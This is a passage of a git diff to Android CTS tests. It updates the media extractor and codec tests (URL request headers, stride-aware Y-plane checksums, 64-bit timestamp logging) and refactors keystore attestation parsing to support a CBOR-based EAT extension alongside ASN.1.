                     ALOGE(" flags exp/got: %d / %d", sampleInfoAtZero.flags, currInfo.flags);
                     ALOGE(" size exp/got: %d / %d ", sampleInfoAtZero.size, currInfo.size);
-                    ALOGE(" ts exp/got: %d / %d ", (int)sampleInfoAtZero.presentationTimeUs,
-                          (int)currInfo.presentationTimeUs);
+                    ALOGE(" ts exp/got: %" PRId64 " / %" PRId64 "",
+                          sampleInfoAtZero.presentationTimeUs, currInfo.presentationTimeUs);
                     AMediaFormat_delete(format);
                     break;
                 }
@@ -763,13 +807,9 @@
     if (status == AMEDIA_OK) {
         isPass &= validateCachedDuration(refExtractor, true);
         const char* csrcPath = env->GetStringUTFChars(jsrcPath, nullptr);
-        AMediaDataSource* dataSource = AMediaDataSource_newUri(csrcUrl, 0, nullptr);
-        AMediaExtractor* testExtractor = AMediaExtractor_new();
-        status = AMediaExtractor_setDataSourceCustom(testExtractor, dataSource);
-        if (status != AMEDIA_OK) {
-            ALOGE("setDataSourceCustom failed");
-            isPass = false;
-        } else {
+        AMediaDataSource* dataSource = nullptr;
+        AMediaExtractor* testExtractor = nullptr;
+        if (createExtractorFromUrl(env, nullptr, nullptr, &testExtractor, &dataSource, csrcUrl)) {
             isPass &= validateCachedDuration(testExtractor, true);
             if (!(isMediaSimilar(refExtractor, testExtractor, nullptr) &&
                   isFileFormatIdentical(refExtractor, testExtractor) &&
@@ -831,7 +871,8 @@
 
 int registerAndroidMediaV2CtsExtractorTest(JNIEnv* env) {
     const JNINativeMethod methodTable[] = {
-            {"nativeReadAllData", "(Ljava/lang/String;Ljava/lang/String;I)J",
+            {"nativeReadAllData",
+             "(Ljava/lang/String;Ljava/lang/String;I[Ljava/lang/String;[Ljava/lang/String;Z)J",
              (void*)nativeReadAllData},
     };
     jclass c = env->FindClass("android/mediav2/cts/ExtractorTest");
diff --git a/tests/media/jni/NativeMediaCommon.cpp b/tests/media/jni/NativeMediaCommon.cpp
index 8cccbc0..90540e0 100644
--- a/tests/media/jni/NativeMediaCommon.cpp
+++ b/tests/media/jni/NativeMediaCommon.cpp
@@ -47,8 +47,6 @@
 const char* TBD_AMEDIAFORMAT_KEY_BIT_RATE_MODE = "bitrate-mode";
 
 bool isCSDIdentical(AMediaFormat* refFormat, AMediaFormat* testFormat) {
-    const char* mime;
-    AMediaFormat_getString(refFormat, AMEDIAFORMAT_KEY_MIME, &mime);
     for (int i = 0;; i++) {
         std::pair<void*, size_t> refCsd;
         std::pair<void*, size_t> testCsd;
diff --git a/tests/media/jni/NativeMediaCommon.h b/tests/media/jni/NativeMediaCommon.h
index ec5721c..b74eb17 100644
--- a/tests/media/jni/NativeMediaCommon.h
+++ b/tests/media/jni/NativeMediaCommon.h
@@ -17,6 +17,7 @@
 #ifndef MEDIACTSNATIVE_NATIVE_MEDIA_COMMON_H
 #define MEDIACTSNATIVE_NATIVE_MEDIA_COMMON_H
 
+#include <inttypes.h>
 #include <NdkMediaFormat.h>
 
 extern const char* AMEDIA_MIMETYPE_VIDEO_VP8;
diff --git a/tests/media/jni/NativeMuxerTest.cpp b/tests/media/jni/NativeMuxerTest.cpp
index 14b8584..b9eae64 100644
--- a/tests/media/jni/NativeMuxerTest.cpp
+++ b/tests/media/jni/NativeMuxerTest.cpp
@@ -205,11 +205,11 @@
             delete[] frameCount;
             return false;
         }
-        ALOGV("Track: %d Timestamp: %d", trackID, (int)info->presentationTimeUs);
+        ALOGV("Track: %d Timestamp: %" PRId64 "", trackID, info->presentationTimeUs);
         frameCount[index]++;
     }
     delete[] frameCount;
-    ALOGV("Total track samples %d", (int)mTrackIdxOrder.size());
+    ALOGV("Total track samples %zu", mTrackIdxOrder.size());
     return true;
 }
 
@@ -250,8 +250,8 @@
                                                     info) != AMEDIA_OK) {
                         return false;
                     }
-                    ALOGV("Track: %d Timestamp: %d", outIndexMap[idx],
-                          (int)info->presentationTimeUs);
+                    ALOGV("Track: %d Timestamp: %" PRId64 "", outIndexMap[idx],
+                          info->presentationTimeUs);
                 }
                 idx++;
             }
@@ -271,6 +271,8 @@
         AMediaFormat* thisFormat = mFormat[i];
         const char* thisMime = nullptr;
         AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
+        int tolerance = !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
+        tolerance += 1; // rounding error
         int j = 0;
         for (; j < that->mTrackCount; j++) {
             AMediaFormat* thatFormat = that->mFormat[j];
@@ -279,9 +281,6 @@
             if (thisMime != nullptr && thatMime != nullptr && !strcmp(thisMime, thatMime)) {
                 if (!isFormatSimilar(thisFormat, thatFormat)) continue;
                 if (mBufferInfo[i].size() == that->mBufferInfo[j].size()) {
-                    int tolerance =
-                            !strncmp(thisMime, "video/", strlen("video/")) ? STTS_TOLERANCE_US : 0;
-                    tolerance += 1; // rounding error
                     int k = 0;
                     for (; k < mBufferInfo[i].size(); k++) {
                         AMediaCodecBufferInfo* thisInfo = mBufferInfo[i][k];
@@ -305,6 +304,7 @@
             }
         }
         if (j == that->mTrackCount) {
+            AMediaFormat_getString(thisFormat, AMEDIAFORMAT_KEY_MIME, &thisMime);
             ALOGV("For mime %s, Couldn't find a match", thisMime);
             return false;
         }
diff --git a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
index 849597d..44561f3 100644
--- a/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
+++ b/tests/media/src/android/mediav2/cts/CodecDecoderTest.java
@@ -140,6 +140,8 @@
                         "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 103.60f, -1L},
                 {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_vbr.mp3",
                         "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_8kHz_lame_cbr.mp3", 53.066f, -1L},
+                {MediaFormat.MIMETYPE_AUDIO_MPEG, "bbb_2ch_44kHz_lame_crc.mp3",
+                        "bbb_2ch_44kHz_s16le.raw", "bbb_1ch_16kHz_lame_vbr.mp3", 104.09f, -1L},
                 {MediaFormat.MIMETYPE_AUDIO_AMR_WB, "bbb_1ch_16kHz_16kbps_amrwb.3gp",
                         "bbb_1ch_16kHz_s16le.raw", "bbb_1ch_16kHz_23kbps_amrwb.3gp", 2393.598f,
                         -1L},
diff --git a/tests/media/src/android/mediav2/cts/CodecTestBase.java b/tests/media/src/android/mediav2/cts/CodecTestBase.java
index 1350d6f..e7527bb7 100644
--- a/tests/media/src/android/mediav2/cts/CodecTestBase.java
+++ b/tests/media/src/android/mediav2/cts/CodecTestBase.java
@@ -283,11 +283,37 @@
     }
 
     void checksum(ByteBuffer buf, int size) {
+        checksum(buf, size, 0, 0, 0);
+    }
+
+    void checksum(ByteBuffer buf, int size, int width, int height, int stride) {
         int cap = buf.capacity();
         assertTrue("checksum() params are invalid: size = " + size + " cap = " + cap,
                 size > 0 && size <= cap);
         if (buf.hasArray()) {
-            mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            if (width > 0 && height > 0 && stride > 0) {
+                int offset = buf.position() + buf.arrayOffset();
+                byte[] bb = new byte[width * height];
+                for (int i = 0; i < height; ++i) {
+                    System.arraycopy(buf.array(), offset, bb, i * width, width);
+                    offset += stride;
+                }
+                mCrc32UsingBuffer.update(bb, 0, width * height);
+            } else {
+                mCrc32UsingBuffer.update(buf.array(), buf.position() + buf.arrayOffset(), size);
+            }
+        } else if (width > 0 && height > 0 && stride > 0) {
+            // Checksum only the Y plane
+            int pos = buf.position();
+            int offset = pos;
+            byte[] bb = new byte[width * height];
+            for (int i = 0; i < height; ++i) {
+                buf.position(offset);
+                buf.get(bb, i * width, width);
+                offset += stride;
+            }
+            mCrc32UsingBuffer.update(bb, 0, width * height);
+            buf.position(pos);
         } else {
             int pos = buf.position();
             final int rdsize = Math.min(4096, size);
@@ -1039,8 +1065,11 @@
         return format.containsKey("csd-0");
     }
 
-    void flattenBufferInfo(MediaCodec.BufferInfo info) {
-        flatBuffer.putInt(info.size).putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
+    void flattenBufferInfo(MediaCodec.BufferInfo info, boolean isAudio) {
+        if (isAudio) {
+            flatBuffer.putInt(info.size);
+        }
+        flatBuffer.putInt(info.flags & ~MediaCodec.BUFFER_FLAG_END_OF_STREAM)
                 .putLong(info.presentationTimeUs);
         flatBuffer.flip();
     }
@@ -1111,14 +1140,20 @@
     void dequeueOutput(int bufferIndex, MediaCodec.BufferInfo info) {
         if (info.size > 0 && mSaveToMem) {
             ByteBuffer buf = mCodec.getOutputBuffer(bufferIndex);
-            mOutputBuff.checksum(buf, info.size);
-            flattenBufferInfo(info);
+            flattenBufferInfo(info, mIsAudio);
             mOutputBuff.checksum(flatBuffer, flatBuffer.limit());
             if (mIsAudio) {
+                mOutputBuff.checksum(buf, info.size);
                 mOutputBuff.saveToMemory(buf, info);
             } else {
                 // tests both getOutputImage and getOutputBuffer. Can do time division
                 // multiplexing but lets allow it for now
+                MediaFormat format = mCodec.getOutputFormat();
+                int width = format.getInteger(MediaFormat.KEY_WIDTH);
+                int height = format.getInteger(MediaFormat.KEY_HEIGHT);
+                int stride = format.getInteger(MediaFormat.KEY_STRIDE);
+                mOutputBuff.checksum(buf, info.size, width, height, stride);
+
                 Image img = mCodec.getOutputImage(bufferIndex);
                 assertTrue(img != null);
                 mOutputBuff.checksum(img);
diff --git a/tests/media/src/android/mediav2/cts/ExtractorTest.java b/tests/media/src/android/mediav2/cts/ExtractorTest.java
index dc17d94..e2a9b57 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorTest.java
@@ -33,6 +33,8 @@
 import androidx.test.filters.SmallTest;
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import org.apache.http.Header;
+import org.apache.http.HttpRequest;
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Ignore;
@@ -56,7 +58,9 @@
 import java.util.Arrays;
 import java.util.Collection;
 import java.util.Collections;
+import java.util.HashMap;
 import java.util.List;
+import java.util.Map;
 import java.util.Random;
 import java.util.zip.CRC32;
 
@@ -467,7 +471,8 @@
         return checksum.getValue();
     }
 
-    private static native long nativeReadAllData(String srcPath, String mime, int sampleLimit);
+    private static native long nativeReadAllData(String srcPath, String mime, int sampleLimit,
+            String[] keys, String[] values, boolean isSrcUrl);
 
     /**
      * Tests setDataSource(...) Api by observing the extractor behavior after its successful
@@ -604,8 +609,8 @@
                 fail("setDataSource failed: " + testName.getMethodName());
             }
             long sdkChecksum = readAllData(testExtractor, null, Integer.MAX_VALUE);
-            long ndkChecksum =
-                    nativeReadAllData(mInpPrefix + mInpMedia, "", Integer.MAX_VALUE);
+            long ndkChecksum = nativeReadAllData(mInpPrefix + mInpMedia, "",
+                    Integer.MAX_VALUE, null, null, false);
             testExtractor.release();
             assertEquals("SDK and NDK checksums mismatch", sdkChecksum, ndkChecksum);
         }
@@ -671,10 +676,19 @@
             testExtractor.release();
         }
 
-        @Test
-        public void testUrlDataSource() throws Exception {
+        private void checkExtractorOkForUrlDS(Map<String, String> headers) throws Exception {
             MediaExtractor testExtractor = new MediaExtractor();
-            testExtractor.setDataSource(mInpMediaUrl, null);
+            testExtractor.setDataSource(mInpMediaUrl, headers);
+            HttpRequest req = mWebServer.getLastRequest(mResString);
+            if (headers != null) {
+                for (String key : headers.keySet()) {
+                    String value = headers.get(key);
+                    Header[] header = req.getHeaders(key);
+                    assertTrue(
+                            "expecting " + key + ":" + value + ", saw " + Arrays.toString(header),
+                            header.length == 1 && header[0].getValue().equals(value));
+                }
+            }
             if (!isMediaSimilar(mRefExtractor, testExtractor, null, Integer.MAX_VALUE) ||
                     !areMetricsIdentical(mRefExtractor, testExtractor) ||
                     !isSeekOk(mRefExtractor, testExtractor)) {
@@ -696,6 +710,32 @@
             testExtractor.release();
         }
 
+        @Test
+        public void testUrlDataSource() throws Exception {
+            checkExtractorOkForUrlDS(null);
+
+            Map<String, String> headers = new HashMap<>();
+            checkExtractorOkForUrlDS(headers);
+
+            String[] keys = new String[]{"From", "Client", "Location"};
+            String[] values = new String[]{"alcor@bigdipper.asm", "CtsTestServer", "UrsaMajor"};
+            for (int i = 0; i < keys.length; i++) {
+                headers.put(keys[i], values[i]);
+            }
+            checkExtractorOkForUrlDS(headers);
+
+            MediaExtractor testExtractor = new MediaExtractor();
+            testExtractor.setDataSource(mInpMediaUrl, headers);
+            long sdkChecksum = readAllData(testExtractor, null, Integer.MAX_VALUE);
+            testExtractor.release();
+            long ndkChecksum = nativeReadAllData(mInpMediaUrl, "", Integer.MAX_VALUE, keys,
+                    values, true);
+            assertEquals("SDK and NDK checksums mismatch", sdkChecksum, ndkChecksum);
+            ndkChecksum = nativeReadAllData(mInpMediaUrl, "", Integer.MAX_VALUE, new String[0],
+                    new String[0], true);
+            assertEquals("SDK and NDK checksums mismatch", sdkChecksum, ndkChecksum);
+        }
+
         private native boolean nativeTestDataSource(String srcPath, String srcUrl);
 
         @Test
@@ -1000,8 +1040,8 @@
             MediaExtractor refExtractor = new MediaExtractor();
             refExtractor.setDataSource(mInpPrefix + mSrcFiles[0]);
             long sdkChecksum = readAllData(refExtractor, mMime, Integer.MAX_VALUE);
-            long ndkChecksum =
-                    nativeReadAllData(mInpPrefix + mSrcFiles[0], mMime, Integer.MAX_VALUE);
+            long ndkChecksum = nativeReadAllData(mInpPrefix + mSrcFiles[0], mMime,
+                    Integer.MAX_VALUE, null, null, false);
             assertEquals("SDK and NDK checksums mismatch", sdkChecksum, ndkChecksum);
             if (mSrcFiles.length == 1) {
                 refExtractor.release();
diff --git a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
index cee70e0..8cc987e 100644
--- a/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
+++ b/tests/media/src/android/mediav2/cts/ExtractorUnitTest.java
@@ -681,23 +681,12 @@
         public void testIfInvalidDataSourceIsRejectedBySetDataSource() throws IOException {
             MediaExtractor extractor = new MediaExtractor();
             TestMediaDataSource dataSource =
-                    TestMediaDataSource.fromString(mInpPrefix + mInpMedia, true, false);
+                    TestMediaDataSource.fromString(mInpPrefix + mInpMedia, false, true);
             try {
-                try {
-                    extractor.setDataSource(dataSource);
-                    fail("setDataSource succeeds with malformed media data source");
-                } catch (Exception e) {
-                    // expected
-                }
-                assertTrue(dataSource.isClosed());
-                dataSource = TestMediaDataSource.fromString(mInpPrefix + mInpMedia, false, true);
-
-                try {
-                    extractor.setDataSource(dataSource);
-                    fail("setDataSource succeeds with malformed media data source");
-                } catch (Exception e) {
-                    // expected
-                }
+                extractor.setDataSource(dataSource);
+                fail("setDataSource succeeds with malformed media data source");
+            } catch (Exception e) {
+                // expected
             } finally {
                 assertTrue(dataSource.isClosed());
                 extractor.release();
diff --git a/tests/media/src/android/mediav2/cts/WorkDir.java b/tests/media/src/android/mediav2/cts/WorkDir.java
index 747845e..ee0339c 100644
--- a/tests/media/src/android/mediav2/cts/WorkDir.java
+++ b/tests/media/src/android/mediav2/cts/WorkDir.java
@@ -40,7 +40,7 @@
             // user has specified the mediaDirString via instrumentation-arg
             return mediaDirString + ((mediaDirString.endsWith("/")) ? "" : "/");
         } else {
-            return (getTopDirString() + "test/CtsMediaV2TestCases-1.8/");
+            return (getTopDirString() + "test/CtsMediaV2TestCases-1.9/");
         }
     }
 }
\ No newline at end of file
diff --git a/tests/providerui/Android.bp b/tests/providerui/Android.bp
index fbb2e0e..edc4bd0 100644
--- a/tests/providerui/Android.bp
+++ b/tests/providerui/Android.bp
@@ -26,7 +26,8 @@
         "junit",
         "androidx.legacy_legacy-support-v4",
     ],
-    srcs: ["src/**/*.java"],
+    srcs: ["src/**/*.java",
+           ":CtsProviderTestUtils"],
     // Tag this module as a cts test artifact
     test_suites: [
         "cts",
diff --git a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
index 1be5e10..6778b69 100644
--- a/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
+++ b/tests/providerui/src/android/providerui/cts/MediaStoreUiTest.java
@@ -39,6 +39,7 @@
 import android.os.storage.StorageVolume;
 import android.os.UserManager;
 import android.provider.MediaStore;
+import android.provider.cts.ProviderTestUtils;
 import android.providerui.cts.GetResultActivity.Result;
 import android.support.test.uiautomator.By;
 import android.support.test.uiautomator.BySelector;
@@ -90,7 +91,7 @@
 
     @Parameters
     public static Iterable<? extends Object> data() {
-        return MediaStore.getExternalVolumeNames(InstrumentationRegistry.getTargetContext());
+        return ProviderTestUtils.getSharedVolumeNames();
     }
 
     @Before
diff --git a/tests/security/Android.bp b/tests/security/Android.bp
index d9786a8..12168cc 100644
--- a/tests/security/Android.bp
+++ b/tests/security/Android.bp
@@ -17,6 +17,7 @@
     static_libs: [
         "bouncycastle-unbundled",
         "bouncycastle-bcpkix-unbundled",
+        "cbor-java",
         "guava",
         "truth-prebuilt",
         "testng",
diff --git a/tests/security/src/android/keystore/cts/Asn1Attestation.java b/tests/security/src/android/keystore/cts/Asn1Attestation.java
new file mode 100644
index 0000000..b454130
--- /dev/null
+++ b/tests/security/src/android/keystore/cts/Asn1Attestation.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.keystore.cts;
+
+import org.bouncycastle.asn1.ASN1Sequence;
+
+import java.security.cert.CertificateParsingException;
+import java.security.cert.X509Certificate;
+
+public class Asn1Attestation extends Attestation {
+    static final int ATTESTATION_VERSION_INDEX = 0;
+    static final int ATTESTATION_SECURITY_LEVEL_INDEX = 1;
+    static final int KEYMASTER_VERSION_INDEX = 2;
+    static final int KEYMASTER_SECURITY_LEVEL_INDEX = 3;
+    static final int ATTESTATION_CHALLENGE_INDEX = 4;
+    static final int UNIQUE_ID_INDEX = 5;
+    static final int SW_ENFORCED_INDEX = 6;
+    static final int TEE_ENFORCED_INDEX = 7;
+
+    int attestationSecurityLevel;
+
+    /**
+     * Constructs an {@code Asn1Attestation} object from the provided {@link X509Certificate},
+     * extracting the attestation data from the attestation extension.
+     *
+     * @throws CertificateParsingException if the certificate does not contain a properly-formatted
+     *     attestation extension.
+     */
+    public Asn1Attestation(X509Certificate x509Cert) throws CertificateParsingException {
+        super(x509Cert);
+        ASN1Sequence seq = getAttestationSequence(x509Cert);
+
+        attestationVersion =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_VERSION_INDEX));
+        attestationSecurityLevel =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_SECURITY_LEVEL_INDEX));
+        keymasterVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_VERSION_INDEX));
+        keymasterSecurityLevel =
+                Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_SECURITY_LEVEL_INDEX));
+
+        attestationChallenge =
+                Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(ATTESTATION_CHALLENGE_INDEX));
+
+        uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(UNIQUE_ID_INDEX));
+
+        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
+        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
+    }
+
+    ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
+            throws CertificateParsingException {
+        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(Attestation.ASN1_OID);
+        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
+            throw new CertificateParsingException("Did not find extension with OID " + ASN1_OID);
+        }
+        return Asn1Utils.getAsn1SequenceFromBytes(attestationExtensionBytes);
+    }
+
+    public int getAttestationSecurityLevel() {
+        return attestationSecurityLevel;
+    }
+
+    public RootOfTrust getRootOfTrust() {
+        return teeEnforced.getRootOfTrust();
+    }
+}
diff --git a/tests/security/src/android/keystore/cts/Attestation.java b/tests/security/src/android/keystore/cts/Attestation.java
index 2285cad..7414908 100644
--- a/tests/security/src/android/keystore/cts/Attestation.java
+++ b/tests/security/src/android/keystore/cts/Attestation.java
@@ -16,71 +16,69 @@
 
 package android.keystore.cts;
 
+import co.nstant.in.cbor.CborException;
+
 import com.google.common.base.CharMatcher;
 import com.google.common.collect.ImmutableSet;
 import com.google.common.io.BaseEncoding;
 
-import org.bouncycastle.asn1.ASN1Sequence;
-
 import java.security.cert.CertificateParsingException;
 import java.security.cert.X509Certificate;
 import java.util.Set;
-import java.util.stream.Collectors;
 
 /**
  * Parses an attestation certificate and provides an easy-to-use interface for examining the
  * contents.
  */
-public class Attestation {
-    static final String KEY_DESCRIPTION_OID = "1.3.6.1.4.1.11129.2.1.17";
-    static final String KEY_USAGE_OID = "2.5.29.15";  // Standard key usage extension.
-    static final int ATTESTATION_VERSION_INDEX = 0;
-    static final int ATTESTATION_SECURITY_LEVEL_INDEX = 1;
-    static final int KEYMASTER_VERSION_INDEX = 2;
-    static final int KEYMASTER_SECURITY_LEVEL_INDEX = 3;
-    static final int ATTESTATION_CHALLENGE_INDEX = 4;
-    static final int UNIQUE_ID_INDEX = 5;
-    static final int SW_ENFORCED_INDEX = 6;
-    static final int TEE_ENFORCED_INDEX = 7;
+public abstract class Attestation {
+    static final String EAT_OID = "1.3.6.1.4.1.11129.2.1.25";
+    static final String ASN1_OID = "1.3.6.1.4.1.11129.2.1.17";
+    static final String KEY_USAGE_OID = "2.5.29.15"; // Standard key usage extension.
 
     public static final int KM_SECURITY_LEVEL_SOFTWARE = 0;
     public static final int KM_SECURITY_LEVEL_TRUSTED_ENVIRONMENT = 1;
     public static final int KM_SECURITY_LEVEL_STRONG_BOX = 2;
 
-    private final int attestationVersion;
-    private final int attestationSecurityLevel;
-    private final int keymasterVersion;
-    private final int keymasterSecurityLevel;
-    private final byte[] attestationChallenge;
-    private final byte[] uniqueId;
-    private final AuthorizationList softwareEnforced;
-    private final AuthorizationList teeEnforced;
-    private final Set<String> unexpectedExtensionOids;
-
+    int attestationVersion;
+    int keymasterVersion;
+    int keymasterSecurityLevel;
+    byte[] attestationChallenge;
+    byte[] uniqueId;
+    AuthorizationList softwareEnforced;
+    AuthorizationList teeEnforced;
+    Set<String> unexpectedExtensionOids;
 
     /**
      * Constructs an {@code Attestation} object from the provided {@link X509Certificate},
      * extracting the attestation data from the attestation extension.
      *
+     * <p>This method ensures that at most one attestation extension is included in the certificate.
+     *
      * @throws CertificateParsingException if the certificate does not contain a properly-formatted
-     *                                     attestation extension.
+     *     attestation extension, if it contains multiple attestation extensions, or if the
+     *     attestation extension can not be parsed.
      */
-    public Attestation(X509Certificate x509Cert) throws CertificateParsingException {
-        ASN1Sequence seq = getAttestationSequence(x509Cert);
+    public static Attestation loadFromCertificate(X509Certificate x509Cert)
+            throws CertificateParsingException {
+        if (x509Cert.getExtensionValue(EAT_OID) == null
+                && x509Cert.getExtensionValue(ASN1_OID) == null) {
+            throw new CertificateParsingException("No attestation extensions found");
+        }
+        if (x509Cert.getExtensionValue(EAT_OID) != null) {
+            if (x509Cert.getExtensionValue(ASN1_OID) != null) {
+                throw new CertificateParsingException("Multiple attestation extensions found");
+            }
+            try {
+                return new EatAttestation(x509Cert);
+            } catch (CborException cbe) {
+                throw new CertificateParsingException("Unable to parse EAT extension", cbe);
+            }
+        }
+        return new Asn1Attestation(x509Cert);
+    }
+
+    Attestation(X509Certificate x509Cert) {
         unexpectedExtensionOids = retrieveUnexpectedExtensionOids(x509Cert);
-
-        attestationVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_VERSION_INDEX));
-        attestationSecurityLevel = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(ATTESTATION_SECURITY_LEVEL_INDEX));
-        keymasterVersion = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_VERSION_INDEX));
-        keymasterSecurityLevel = Asn1Utils.getIntegerFromAsn1(seq.getObjectAt(KEYMASTER_SECURITY_LEVEL_INDEX));
-
-        attestationChallenge =
-                Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(Attestation.ATTESTATION_CHALLENGE_INDEX));
-
-        uniqueId = Asn1Utils.getByteArrayFromAsn1(seq.getObjectAt(Attestation.UNIQUE_ID_INDEX));
-
-        softwareEnforced = new AuthorizationList(seq.getObjectAt(SW_ENFORCED_INDEX));
-        teeEnforced = new AuthorizationList(seq.getObjectAt(TEE_ENFORCED_INDEX));
     }
 
     public static String securityLevelToString(int attestationSecurityLevel) {
@@ -100,9 +98,9 @@
         return attestationVersion;
     }
 
-    public int getAttestationSecurityLevel() {
-        return attestationSecurityLevel;
-    }
+    public abstract int getAttestationSecurityLevel();
+
+    public abstract RootOfTrust getRootOfTrust();
 
     public int getKeymasterVersion() {
         return keymasterVersion;
@@ -135,13 +133,15 @@
     @Override
     public String toString() {
         StringBuilder s = new StringBuilder();
-        s.append("Attest version: " + attestationVersion);
-        s.append("\nAttest security: " + securityLevelToString(attestationSecurityLevel));
+        s.append("Extension type: " + getClass());
+        s.append("\nAttest version: " + attestationVersion);
+        s.append("\nAttest security: " + securityLevelToString(getAttestationSecurityLevel()));
         s.append("\nKM version: " + keymasterVersion);
         s.append("\nKM security: " + securityLevelToString(keymasterSecurityLevel));
 
         s.append("\nChallenge");
-        String stringChallenge = new String(attestationChallenge);
+        String stringChallenge =
+                attestationChallenge != null ? new String(attestationChallenge) : "null";
         if (CharMatcher.ascii().matchesAllOf(stringChallenge)) {
             s.append(": [" + stringChallenge + "]");
         } else {
@@ -159,26 +159,16 @@
         return s.toString();
     }
 
-    private ASN1Sequence getAttestationSequence(X509Certificate x509Cert)
-            throws CertificateParsingException {
-        byte[] attestationExtensionBytes = x509Cert.getExtensionValue(KEY_DESCRIPTION_OID);
-        if (attestationExtensionBytes == null || attestationExtensionBytes.length == 0) {
-            throw new CertificateParsingException(
-                    "Did not find extension with OID " + KEY_DESCRIPTION_OID);
-        }
-        return Asn1Utils.getAsn1SequenceFromBytes(attestationExtensionBytes);
-    }
-
-    private Set<String> retrieveUnexpectedExtensionOids(X509Certificate x509Cert) {
+    Set<String> retrieveUnexpectedExtensionOids(X509Certificate x509Cert) {
         return new ImmutableSet.Builder<String>()
-                .addAll(x509Cert.getCriticalExtensionOIDs()
-                        .stream()
-                        .filter(s -> !KEY_USAGE_OID.equals(s))
-                        .iterator())
-                .addAll(x509Cert.getNonCriticalExtensionOIDs()
-                        .stream()
-                        .filter(s -> !KEY_DESCRIPTION_OID.equals(s))
-                        .iterator())
+                .addAll(
+                        x509Cert.getCriticalExtensionOIDs().stream()
+                                .filter(s -> !KEY_USAGE_OID.equals(s))
+                                .iterator())
+                .addAll(
+                        x509Cert.getNonCriticalExtensionOIDs().stream()
+                                .filter(s -> !ASN1_OID.equals(s) && !EAT_OID.equals(s))
+                                .iterator())
                 .build();
     }
 }
diff --git a/tests/security/src/android/keystore/cts/AuthorizationList.java b/tests/security/src/android/keystore/cts/AuthorizationList.java
index 85ac115..dce9b2a 100644
--- a/tests/security/src/android/keystore/cts/AuthorizationList.java
+++ b/tests/security/src/android/keystore/cts/AuthorizationList.java
@@ -19,6 +19,10 @@
 import static com.google.common.base.Functions.forMap;
 import static com.google.common.collect.Collections2.transform;
 
+import co.nstant.in.cbor.model.DataItem;
+import co.nstant.in.cbor.model.Number;
+import co.nstant.in.cbor.model.UnsignedInteger;
+
 import com.google.common.base.Joiner;
 import com.google.common.collect.ImmutableMap;
 import com.google.common.collect.ImmutableSet;
@@ -166,6 +170,7 @@
             .put(KM_PURPOSE_VERIFY, "VERIFY")
             .build();
 
+    private Integer securityLevel;
     private Set<Integer> purposes;
     private Integer algorithm;
     private Integer keySize;
@@ -331,6 +336,126 @@
 
     }
 
+    public AuthorizationList(co.nstant.in.cbor.model.Map submodMap)
+            throws CertificateParsingException {
+        for (DataItem key : submodMap.getKeys()) {
+            int keyInt = ((Number) key).getValue().intValue();
+            switch (keyInt) {
+                default:
+                    throw new CertificateParsingException("Unknown EAT tag: " + key);
+
+                case EatClaim.SECURITY_LEVEL:
+                    securityLevel = eatSecurityLevelToKeymasterSecurityLevel(
+                            CborUtils.getInt(submodMap, key));
+                    break;
+                case EatClaim.PURPOSE:
+                    purposes = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.ALGORITHM:
+                    algorithm = CborUtils.getInt(submodMap, key);
+                    break;
+                case EatClaim.KEY_SIZE:
+                    keySize = CborUtils.getInt(submodMap, key);
+                    Log.i("Attestation", "Found KEY SIZE, value: " + keySize);
+                    break;
+                case EatClaim.DIGEST:
+                    digests = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.PADDING:
+                    paddingModes = CborUtils.getIntSet(submodMap, key);
+                    break;
+                case EatClaim.RSA_PUBLIC_EXPONENT:
+                    rsaPublicExponent = CborUtils.getLong(submodMap, key);
+                    break;
+                case EatClaim.NO_AUTH_REQUIRED:
+                    noAuthRequired = true;
+                    break;
+                case EatClaim.IAT:
+                    creationDateTime = CborUtils.getDate(submodMap, key);
+                    break;
+                case EatClaim.ORIGIN:
